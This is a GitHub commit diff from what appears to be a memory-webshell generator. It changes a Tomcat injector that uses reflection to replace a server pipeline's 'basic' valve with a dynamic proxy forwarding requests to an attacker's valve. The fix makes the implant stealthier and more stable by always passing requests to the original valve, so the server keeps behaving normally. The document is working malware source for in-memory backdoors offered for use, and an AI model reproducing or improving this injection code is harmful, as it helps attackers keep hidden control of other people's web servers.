Skip to content

Commit 0d7d764

Browse files
committed
fix: proxyValve cause service exception
1 parent ba545a2 commit 0d7d764

File tree

1 file changed

+3
-9
lines changed

1 file changed

+3
-9
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java

Lines changed: 3 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -57,8 +57,8 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl
5757
}
5858
} catch (Throwable e) {
5959
e.printStackTrace();
60-
return method.invoke(rawValve, args);
6160
}
61+
return method.invoke(rawValve, args);
6262
}
6363
return method.invoke(rawValve, args);
6464
}
@@ -110,14 +110,8 @@ public void inject(Object context, Object valve) throws Exception {
110110
Object pipeline = invokeMethod(context, "getPipeline", null, null);
111111
ClassLoader contextClassLoader = context.getClass().getClassLoader();
112112
Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve");
113-
Object rawValve = null;
114-
String fieldName = "first";
115-
try {
116-
rawValve = getFieldValue(pipeline, fieldName);
117-
} catch (NoSuchFieldException e) {
118-
fieldName = "basic";
119-
rawValve = getFieldValue(pipeline, fieldName);
120-
}
113+
String fieldName = "basic";
114+
Object rawValve = getFieldValue(pipeline, fieldName);
121115
Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve));
122116
setFieldValue(pipeline, fieldName, proxyValve);
123117
System.out.println("proxyValve inject successful");

0 commit comments

Comments
 (0)